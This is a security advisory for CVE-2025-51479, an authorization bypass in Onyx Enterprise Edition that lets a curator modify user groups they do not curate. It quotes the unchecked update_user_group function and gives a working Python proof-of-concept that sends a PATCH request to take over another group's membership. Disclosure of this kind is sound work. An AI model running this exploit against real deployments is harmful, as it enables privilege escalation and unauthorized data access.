Back to Research
CVSS 5.4mediumCVE-2025-51479

CVE-2025-51479: ONYX Authorization Bypass in Enterprise Edition Group Management API

Authorization bypass vulnerability in ONYX Enterprise Edition allowing curators to manipulate groups outside their authorized scope.

Gecko Security Research
Gecko Security Team
1/15/2025

Description

An authorization bypass was found in the Onyx Enterprise Edition's group management functionality. The application intends for Curators to only administer users within groups they are specifically assigned to but a flaw in the API implementation allows unauthorized manipulation of any group within the system. The backend API fails to validate whether a curator has permission to modify a specific group. The vulnerability specifically affects the PATCH endpoint for user group management.

The root cause is in the update_user_group function in backend/ee/onyx/db/user_group.py. This function receives a user group ID and update data but never verifies if the authenticated curator has permission to modify that particular group:

def update_user_group(
    db_session: Session,
    user: User | None,  # this parameter exists but isn't used for permission checking
    user_group_id: int,
    user_group_update: UserGroupUpdate,
) -> UserGroup:
    # retrieves the user group without checking if the current user has permission to modify it
    stmt = select(UserGroup).where(UserGroup.id == user_group_id)
    db_user_group = db_session.scalar(stmt)

The codebase properly implements permission checks for similar operations, as evidenced by functions like _validate_curator_relationship_update_requester() and error messages such as "Curators cannot control groups they don't curate." This inconsistency suggests the missing check is an oversight rather than an intended design.

PoC

The following steps demonstrate how a Curator can exploit this vulnerability to modify groups they shouldn't have access to:

  1. Set up Onyx with Enterprise Edition features enabled:
export ENABLE_PAID_ENTERPRISE_EDITION_FEATURES=true
export AUTH_TYPE=basic
  1. Create an admin user (automatically created as the first user)

  2. Create a second user with Basic permissions

  3. Create two groups: "RESTRICTED_GROUP" and "PERMITTED_GROUP"

  4. Add the admin to "RESTRICTED_GROUP"

  5. Add the basic user to "PERMITTED_GROUP" and make them a Curator for this group only

  6. Use this Python script to exploit the vulnerability:

import requests

BASE_URL = "http://localhost"  
AUTH_COOKIE_NAME = "fastapiusersauth"
TARGET_GROUP_ID = 1  # ID of the RESTRICTED_GROUP

def exploit_group_modification(auth_token):
    user_response = requests.get(
        f"{BASE_URL}/api/me",
        headers={"Cookie": f"{AUTH_COOKIE_NAME}={auth_token}"}
    )
    
    if user_response.status_code != 200:
        return False
        
    curator_id = user_response.json()["id"]
    
    modify_response = requests.patch(
        f"{BASE_URL}/api/manage/admin/user-group/{TARGET_GROUP_ID}",
        json={
            "user_ids": [curator_id],  
            "cc_pair_ids": [] 
        },
        headers={"Cookie": f"{AUTH_COOKIE_NAME}={auth_token}"}
    )
    
    if modify_response.status_code == 200:
        return True
    else:
        print(modify_response.text)
        return False

if __name__ == "__main__":
    curator_token = input("Enter curator's authentication token: ")
    exploit_group_modification(curator_token)
  1. After running the script with the curator's authentication token, refresh the admin panel to observe that:
    • The admin has been removed from RESTRICTED_GROUP
    • The curator has been added to RESTRICTED_GROUP
    • This occurred despite the curator only having permission for PERMITTED_GROUP

This confirms that the curator can modify any group, violating the intended access control model.

Impact

  • Curators can add themselves to admin-only groups
  • This provides access to sensitive data and functionality not intended for their role
  • Effectively bypasses the role-based access control system